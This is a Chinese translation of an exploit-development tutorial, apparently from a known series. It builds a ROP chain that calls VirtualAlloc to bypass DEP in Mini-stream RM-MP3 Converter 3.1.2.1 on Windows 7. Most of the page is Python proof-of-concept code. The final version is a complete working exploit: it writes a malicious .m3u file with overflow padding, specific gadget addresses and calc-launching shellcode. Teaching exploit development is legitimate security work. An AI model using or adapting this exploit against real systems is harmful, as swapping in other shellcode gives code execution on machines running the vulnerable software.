返回介绍

构建 ROP-Chain

发布于 2025-01-03 23:32:54 字数 18467 浏览 0 评论 0 收藏 0

在开始之前,像之前看到的我们可以用 retn 指令地址覆写 EIP, 如果你打开 rop.txt 你可以选择其中一个 retn 地址,用这个地址替换 BBBB, 别忘记填充 4 个自己(ESP=EIP+4)

#!/usr/bin/python
 
import sys, struct
 
file="crash.m3u"
 
rop = struct.pack('<L',0x41414141)  # padding to compensate 4-bytes at ESP
 #---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0a'                      #
# kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll)        #
# EIP: 0x10019C60 Random RETN (MSRMfilter03.dll)            #
#---------------------------------------------------------------------#
crash = "http://." + "A"*17416 + "\x60\x9C\x01\x10" + rop + "C"*(7572-len(rop))
 
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()

不错,下面看看 VirtualAlloc 这个 API. 我建议你花点时间读下 MSDN 文件,便于更好理解我们要使用的参数。

VirtualAlloc: MSDN

结构:                 参数:

LPVOID WINAPI VirtualAlloc(      =>  A pointer to VirtualAlloc()
  _In_opt_  LPVOID lpAddress,    =>  Return Address (Redirect Execution to ESP)
  _In_    SIZE_T dwSize,       =>  dwSize (0x1)
  _In_    DWORD flAllocationType,  =>  flAllocationType (0x1000)
  _In_    DWORD flProtect      =>  flProtect (0x40)
);

可以看到大部分参数值只需要保持默认即可. 你同样可以用 VirtualProtect 这个 API 去完成任务。

VirtualProtect: MSDN

结构:                 参数:

BOOL WINAPI VirtualProtect(      =>  A pointer to VirtualProtect()
  _In_   LPVOID lpAddress,       =>  Return Address (Redirect Execution to ESP)
  _In_   SIZE_T dwSize,        =>  dwSize up to you to chose as needed (0x201)
  _In_   DWORD flNewProtect,     =>  flNewProtect (0x40)
  _Out_  PDWORD lpflOldProtect     =>  A writable pointer
);

记住这些信息,开始改变我们的 POC, 使我们对 ROP-Chain 有更清晰的认识

#!/usr/bin/python
 
import sys, struct
 
file="crash.m3u"
 
#---------------------------------------------------------[Structure]-#
# LPVOID WINAPI VirtualAlloc(     => PTR to VirtualAlloc      #
#   _In_opt_  LPVOID lpAddress,     => Return Address (Call to ESP) #
#   _In_    SIZE_T dwSize,      => dwSize (0x1)         #
#   _In_    DWORD flAllocationType, => flAllocationType (0x1000)  #
#   _In_    DWORD flProtect     => flProtect (0x40)       #
# );                                  #
#---------------------------------------------------[Register Layout]-#
# Remember (1) the  stack  grows  downwards  so we  need to load the  #
# values into the registers in reverse order! (2) We are going to do  #
# some clever  trickery to  align our  return after  executing.  To   #
# acchieve this we will be filling EDI with a ROP-Nop and we will be  #
# skipping ESP leaving it intact.                   #
#                                   #
# EAX 90909090 => Nop                         #
# ECX 00000040 => flProtect                       #
# EDX 00001000 => flAllocationType                  #
# EBX 00000001 => dwSize                        #
# ESP ???????? => Leave as is                     #
# EBP ???????? => Call to ESP (jmp, call, push,..)          #
# ESI ???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060     #
# EDI 10019C60 => ROP-Nop same as EIP                 #
#---------------------------------------------------------------------#
rop = struct.pack('<L',0x41414141)  # padding to compensate 4-bytes at ESP
 
 
#---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0a'                      #
# kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll)        #
# EIP: 0x10019C60 Random RETN (MSRMfilter03.dll)            #
#---------------------------------------------------------------------#
crash = "http://." + "A"*17416 + "\x60\x9C\x01\x10" + rop + "C"*(7572-len(rop))
 
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()

现在我们的任务是把 ROP-Chain 综合在一起设置 VirtualAlloc 的值. 我们需要整理这些指针,因为某些指令的执行可能会改变已经设置好的寄存器. 先整理一些简单的

(1) EDI -> We need to put a ROP-Nop in EDI
0x10029b57 # POP EDI # RETN
0x1002b9ff # ROP-Nop (we already have this value from EIP)

(2) EBP -> Redirect Execution flow to ESP
0x100532ed # POP EBP # RETN
0x100371f5 # CALL ESP (!mona jmp -r ESP -m MSRMfilter03.dll -cpb '\x00\x09\x0a')
(3) EAX -> Fill with a regular NOP
0x10030361 # POP EAX # RETN
0x90909090 # NOP (just a regular NOP)

(4) We need to end our chain with a PUSHAD
0x10014720 # PUSHAD # RETN (can be found in rop_virtualprotect.txt)

别的一些可能令人费解,需要一些创造力. 但是在我的努力下能把我们需要的指令链在一起. 下面就是我布置的 ROP-Chain, 但这并不是唯一的选择. 布置 ROP 链有很多的方式,发挥你的创造力吧。

(5) EBX -> dwSize (0x1)
0x10013b1c # POP EBX # RETN
0xffffffff # will be 0x1 (EBX will be set to 0xffffffff)
0x100319d3 # INC EBX # FPATAN # RETN  \ Increasing EBX twice will set EBX to 0x00000001
0x100319d3 # INC EBX # FPATAN # RETN  /

(6) EDX -> flAllocationType (0x1000)
0x1003fb3f # MOV EDX,E58B0001 # POP EBP # RETN (we move a static value into EDX for calculations)
0x41414141 # padding for POP EBP (compensation for the POP)
0x10013b1c # POP EBX # RETN
0x1A750FFF # ebx+edx => 0x1000 flAllocationType (FFFFFFFF-E58B0001=1A74FFFE => 1A74FFFE+00001001=1A750FFF)
0x10029f3e # ADD EDX,EBX # POP EBX # RETN 10 (when we add these valuse together the result is 0x00001000)
0x1002b9ff # Rop-Nop to compensate  \
0x1002b9ff # Rop-Nop to compensate   |
0x1002b9ff # Rop-Nop to compensate   | This is to compensate for the POP and RETN 10
0x1002b9ff # Rop-Nop to compensate   |
0x1002b9ff # Rop-Nop to compensate   |
0x1002b9ff # Rop-Nop to compensate  /

(7) ECX -> flProtect (0x40)
(This technique works because EDX points to a valid memory location at run-time!! I tested this on windows
XP and there it didn't seem to be the case. It would be an interesting exercise to make this gadget more
universal.)
0x100280de # POP ECX # RETN
0xffffffff # will become 0x40 (ECX will be set to 0xffffffff)
0x1002e01b # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN  \ ECX will be set to 0x00000001
0x1002e01b # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN  /
0x1002a487 # ADD ECX,ECX # RETN  \
0x1002a487 # ADD ECX,ECX # RETN   |
0x1002a487 # ADD ECX,ECX # RETN   | Adding ECX to itself cycles ECX -> 1,2,4,8,10,20,40 -> 0x00000040
0x1002a487 # ADD ECX,ECX # RETN   |
0x1002a487 # ADD ECX,ECX # RETN   |
0x1002a487 # ADD ECX,ECX # RETN  /

(8) ESI -> VirtualAlloc
(We already have a pointer to VirtualAlloc (0x1005d060) but we need the DWORD value that is located at
that pointer. Again here EBP points to a valid memory address (untested on XP).)
0x1002ba02 # POP EAX # RETN
0x1005d060 # kernel32.virtualalloc
0x10027f59 # MOV EAX,DWORD PTR DS:[EAX] # RETN (get the DWORD value located at 0x1005d060)
0x1005bb8e # PUSH EAX # ADD DWORD PTR SS:[EBP+5],ESI # PUSH 1 # POP EAX # POP ESI # RETN (EAX -> ESI)

有些序列似乎有点复杂,但他们不是很难理解,需要一些时间来看看,理解它们。正如你所看到的一些小配件操纵多个寄存器加载合适的值. 我们需要布置的小配件在这不会影响我们的 ROP 链. 是时候把所有东西放在一起,调整我们的 POC 如下:

#!/usr/bin/python
 
import sys, struct
 
file="crash.m3u"
 
#---------------------------------------------------------[Structure]-#
# LPVOID WINAPI VirtualAlloc(     => PTR to VirtualAlloc      #
#   _In_opt_  LPVOID lpAddress,     => Return Address (Call to ESP) #
#   _In_    SIZE_T dwSize,      => dwSize (0x1)         #
#   _In_    DWORD flAllocationType, => flAllocationType (0x1000)  #
#   _In_    DWORD flProtect     => flProtect (0x40)       #
# );                                  #
#---------------------------------------------------[Register Layout]-#
# Remember (1) the  stack  grows  downwards  so we  need to load the  #
# values into the registers in reverse order! (2) We are going to do  #
# some clever  trickery to  align our  return after  executing.  To   #
# acchieve this we will be filling EDI with a ROP-Nop and we will be  #
# skipping ESP leaving it intact.                   #
#                                   #
# EAX 90909090 => Nop                         #
# ECX 00000040 => flProtect                       #
# EDX 00001000 => flAllocationType                  #
# EBX 00000001 => dwSize                        #
# ESP ???????? => Leave as is                     #
# EBP ???????? => Call to ESP (jmp, call, push,..)          #
# ESI ???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060     #
# EDI 10019C60 => ROP-Nop same as EIP                 #
#---------------------------------------------------------------------#
rop = struct.pack('<L',0x41414141)  # padding to compensate 4-bytes at ESP
rop += struct.pack('<L',0x10029b57) # POP EDI # RETN
rop += struct.pack('<L',0x1002b9ff) # ROP-Nop
                  #-----------------------------------------[ROP-Nop -> EDI]-#
rop += struct.pack('<L',0x100280de) # POP ECX # RETN
rop += struct.pack('<L',0xffffffff) # will become 0x40
rop += struct.pack('<L',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN
rop += struct.pack('<L',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
                  #--------------------------------[flProtect (0x40) -> ECX]-#
rop += struct.pack('<L',0x1002ba02) # POP EAX # RETN
rop += struct.pack('<L',0x1005d060) # kernel32.virtualalloc
rop += struct.pack('<L',0x10027f59) # MOV EAX,DWORD PTR DS:[EAX] # RETN
rop += struct.pack('<L',0x1005bb8e) # PUSH EAX # ADD DWORD PTR SS:[EBP+5],ESI # PUSH 1 # POP EAX # POP ESI # RETN
                  #------------------------------------[VirtualAlloc -> ESI]-#
rop += struct.pack('<L',0x1003fb3f) # MOV EDX,E58B0001 # POP EBP # RETN
rop += struct.pack('<L',0x41414141) # padding for POP EBP
rop += struct.pack('<L',0x10013b1c) # POP EBX # RETN
rop += struct.pack('<L',0x1A750FFF) # ebx+edx => 0x1000 flAllocationType
rop += struct.pack('<L',0x10029f3e) # ADD EDX,EBX # POP EBX # RETN 10
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
                  #-----------------------[flAllocationType (0x1000) -> EDX]-#
rop += struct.pack('<L',0x100532ed) # POP EBP # RETN
rop += struct.pack('<L',0x100371f5) # CALL ESP
                  #----------------------------------------[CALL ESP -> EBP]-#
rop += struct.pack('<L',0x10013b1c) # POP EBX # RETN
rop += struct.pack('<L',0xffffffff) # will be 0x1
rop += struct.pack('<L',0x100319d3) # INC EBX # FPATAN # RETN
rop += struct.pack('<L',0x100319d3) # INC EBX # FPATAN # RETN
                  #------------------------------------[dwSize (0x1) -> EBX]-#
rop += struct.pack('<L',0x10030361) # POP EAX # RETN
rop += struct.pack('<L',0x90909090) # NOP
                  #---------------------------------------------[NOP -> EAX]-#
rop += struct.pack('<L',0x10014720) # PUSHAD # RETN
                  #----------------------------------------[PUSHAD -> pwnd!]-#
 
#---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0a'                      #
# kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll)        #
# EIP: 0x10019C60 Random RETN (MSRMfilter03.dll)            #
#---------------------------------------------------------------------#
crash = "http://." + "A"*17416 + "\x60\x9C\x01\x10" + rop + "C"*(7572-len(rop))
 
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()

你可以调试这个 ROP 链,以确保一切按计划进行。

在下面的截图中可以看到 VirtualAlloc 是在堆栈上被调用的. 布置在后面的任何代码都会被执行。

Shellcode+游戏结束

ROP 第二阶段就是要插入我们要执行的 shellcode, 由于我们没有分配大量的内存,所以我们可控的空间是有限的. 没关系,我使用 SkyLined 的 calc shellcode(有兴趣的话你可以看看这里). 但其实可以分配更大内存的,这留给你们去完成。

#!/usr/bin/python
 
#----------------------------------------------------------------------------------#
# Exploit: Mini-stream RM-MP3 Converter 3.1.2.1 (*.m3u)              #
# OS: Win7 Pro SP1                                 #
# Author: b33f (Ruben Boonen)                            #
# Software: http://www.exploit-db.com/wp-content/themes/exploit/applications     #
#      /ce47c348747cd05020b242da250c0da3-Mini-streamRM-MP3Converter.exe    #
#----------------------------------------------------------------------------------#
# This exploit was created for Part 7 of my Exploit Development tutorial       #
# series - http://www.fuzzysecurity.com/tutorials/expDev/7.html          #
#----------------------------------------------------------------------------------#
 
import sys, struct
 
file="crash.m3u"
 
#---------------------------------------------------------[Structure]-#
# LPVOID WINAPI VirtualAlloc(     => PTR to VirtualAlloc      #
#   _In_opt_  LPVOID lpAddress,     => Return Address (Call to ESP) #
#   _In_    SIZE_T dwSize,      => dwSize (0x1)         #
#   _In_    DWORD flAllocationType, => flAllocationType (0x1000)  #
#   _In_    DWORD flProtect     => flProtect (0x40)       #
# );                                  #
#---------------------------------------------------[Register Layout]-#
# Remember (1) the  stack  grows  downwards  so we  need to load the  #
# values into the registers in reverse order! (2) We are going to do  #
# some clever  trickery to  align our  return after  executing.  To   #
# acchieve this we will be filling EDI with a ROP-Nop and we will be  #
# skipping ESP leaving it intact.                   #
#                                   #
# EAX 90909090 => Nop                         #
# ECX 00000040 => flProtect                       #
# EDX 00001000 => flAllocationType                  #
# EBX 00000001 => dwSize                        #
# ESP ???????? => Leave as is                     #
# EBP ???????? => Call to ESP (jmp, call, push,..)          #
# ESI ???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060     #
# EDI 10019C60 => ROP-Nop same as EIP                 #
#---------------------------------------------------------------------#
rop = struct.pack('<L',0x41414141)  # padding to compensate 4-bytes at ESP
rop += struct.pack('<L',0x10029b57) # POP EDI # RETN
rop += struct.pack('<L',0x1002b9ff) # ROP-Nop
                  #-----------------------------------------[ROP-Nop -> EDI]-#
rop += struct.pack('<L',0x100280de) # POP ECX # RETN
rop += struct.pack('<L',0xffffffff) # will become 0x40
rop += struct.pack('<L',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN
rop += struct.pack('<L',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
                  #--------------------------------[flProtect (0x40) -> ECX]-#
rop += struct.pack('<L',0x1002ba02) # POP EAX # RETN
rop += struct.pack('<L',0x1005d060) # kernel32.virtualalloc
rop += struct.pack('<L',0x10027f59) # MOV EAX,DWORD PTR DS:[EAX] # RETN
rop += struct.pack('<L',0x1005bb8e) # PUSH EAX # ADD DWORD PTR SS:[EBP+5],ESI # PUSH 1 # POP EAX # POP ESI # RETN
                  #------------------------------------[VirtualAlloc -> ESI]-#
rop += struct.pack('<L',0x1003fb3f) # MOV EDX,E58B0001 # POP EBP # RETN
rop += struct.pack('<L',0x41414141) # padding for POP EBP
rop += struct.pack('<L',0x10013b1c) # POP EBX # RETN
rop += struct.pack('<L',0x1A750FFF) # ebx+edx => 0x1000 flAllocationType
rop += struct.pack('<L',0x10029f3e) # ADD EDX,EBX # POP EBX # RETN 10
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
                  #-----------------------[flAllocationType (0x1000) -> EDX]-#
rop += struct.pack('<L',0x100532ed) # POP EBP # RETN
rop += struct.pack('<L',0x100371f5) # CALL ESP
                  #----------------------------------------[CALL ESP -> EBP]-#
rop += struct.pack('<L',0x10013b1c) # POP EBX # RETN
rop += struct.pack('<L',0xffffffff) # will be 0x1
rop += struct.pack('<L',0x100319d3) # INC EBX # FPATAN # RETN
rop += struct.pack('<L',0x100319d3) # INC EBX # FPATAN # RETN
                  #------------------------------------[dwSize (0x1) -> EBX]-#
rop += struct.pack('<L',0x10030361) # POP EAX # RETN
rop += struct.pack('<L',0x90909090) # NOP
                  #---------------------------------------------[NOP -> EAX]-#
rop += struct.pack('<L',0x10014720) # PUSHAD # RETN
                  #----------------------------------------[PUSHAD -> pwnd!]-#
 
# SkyLined's Calc shellcode
calc = (
"\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64"
"\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B"
"\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20"
"\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07"
"\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74"
"\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7")
 
#---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0a'                      #
# kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll)        #
# EIP: 0x10019C60 Random RETN (MSRMfilter03.dll)            #
#---------------------------------------------------------------------#
shell = "\x90"*5 + calc
crash = "http://." + "A"*17416 + "\x60\x9C\x01\x10" + rop + shell + "C"*(7572-len(rop + shell))
 
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文